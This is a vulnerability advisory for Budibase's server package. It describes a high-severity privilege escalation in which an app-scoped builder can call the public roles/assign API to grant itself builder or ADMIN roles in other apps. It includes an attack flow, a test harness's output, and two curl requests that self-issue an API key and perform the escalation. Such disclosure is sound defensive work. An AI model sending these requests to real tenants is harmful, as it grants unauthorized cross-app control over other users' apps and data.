high

GHSA-j9fc-w3mr-x6mv

npm · @budibase/server

Summary

Budibase: Privilege escalation via public role assignment API missing app-level authorization

Severity
high
CVSS
8.8
CWE
CWE-269, CWE-862, CWE-863
Published
2026-07-24
Updated
2026-07-24

Advisory details

Summary

Budibase 3.39.19 (commit 03fbabae4) is affected by a privilege-escalation / missing-authorization flaw in the public role-assignment API. An app-scoped builder (a user who builds only specific apps — user.builder.apps = [appA], not a global builder or admin) can grant themselves builder access to ANY other app in the tenant, or assign themselves/any user an arbitrary data-plane role (e.g. ADMIN) in any app, by calling POST /api/public/v1/roles/assign. The endpoint only authorizes the two global flags (admin, builder); the per-app appBuilder and role:{appId,roleId} grant vectors are passed to the backend without any authorization check that the caller controls the target app. Reproduced in a local authorized lab using the verbatim authorization-gate and SDK logic.

This is an incomplete fix of the role-assignment hardening in commit d63d1d9054 ("Inline public user global role validation"), which only ever validated the global flags.

Details

The issue is caused by authorization being implemented as a flag-level allowlist (admin/builder) instead of validating the scope the caller is granting.

Relevant code paths:

Attack flow:

  1. Attacker is an app-scoped builder of appA only (no global builder/admin).
  2. POST /api/global/self/api_key (worker) — passes builderOnly via hasBuilderPermissions → attacker obtains a public API key.
  3. POST /api/public/v1/roles/assign with header x-budibase-app-id: <appA prod id> and body {"userIds":["<self>"],"appBuilder":{"appId":"<appB>"}} — builderOrAdmin passes (isBuilder(user, appA)), validateGlobalRoleUpdate ignores appBuilder, the SDK pushes appB into user.builder.apps.
  4. Attacker is now a builder of appB (and, via the role vector, can set any data-role such as ADMIN in any app).

Security boundary crossed:

PoC

Environment:

Steps (unit-level proof, no license needed — verbatim auth-gate + SDK logic):

  1. Run the verification harness:
cd D:/CVE-Hunting/budibase-audit-output/lab
node harness/verify-privesc-authz.cjs
  1. Observed result (evidence: evidence/lab-privesc-authz.log):
[PASS-VALIDATION] appBuilder:{appId:APP_B}          -> NOT rejected
[PASS-VALIDATION] role:{appId:APP_B, roleId:'ADMIN'}-> NOT rejected
[BLOCKED 403]      builder:true (global)            -> Only global builders or admins ...
[BLOCKED 403]      admin:true (global)              -> Only global admins ...
after : builder={"apps":["app_A...","app_B..."]} roles={"app_B...":"ADMIN"}
isBuilder(attacker, APP_B) now = true   <-- escalated to builder of APP_B

Steps (HTTP PoC for a licensed lab — poc/privesc-roles-assign.sh):

# 1) self-issue API key
curl -X POST http://localhost:10000/api/global/self/api_key -H "Cookie: <attacker session>" -d '{}'
# 2) escalate: grant self builder of appB
curl -X POST http://localhost:10000/api/public/v1/roles/assign \
  -H "x-budibase-api-key: <KEY>" -H "x-budibase-app-id: <appA prod id>" \
  -H "content-type: application/json" \
  -d '{"userIds":["<self global id>"],"appBuilder":{"appId":"<appB>"}}'
  1. Expected result:
The request should be rejected (403) — an app-scoped builder must not be able to grant
itself builder/role access to an app it does not control. Instead it returns 200 and the
grant is applied.

Evidence files:

Runtime limitation: full HTTP end-to-end requires a Business/Enterprise license (isExpandedPublicApiEnabled); no license was cracked. The authorization defect is proven at unit level with the verbatim validation + SDK logic, and the route→validation→SDK call chain was independently verified by source review.

Source PoC

Budibase-GHSA-Reports.zip

Impact

An attacker holding an app-scoped builder role on a single app in a licensed (Business/Enterprise) tenant can:

It does not grant the global admin/builder flags (those are validated), so it is not a direct global-admin takeover; but cross-app builder is effectively a tenant-wide app/data-plane compromise. No real secrets were accessed during testing; the lab used canary-only data.

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.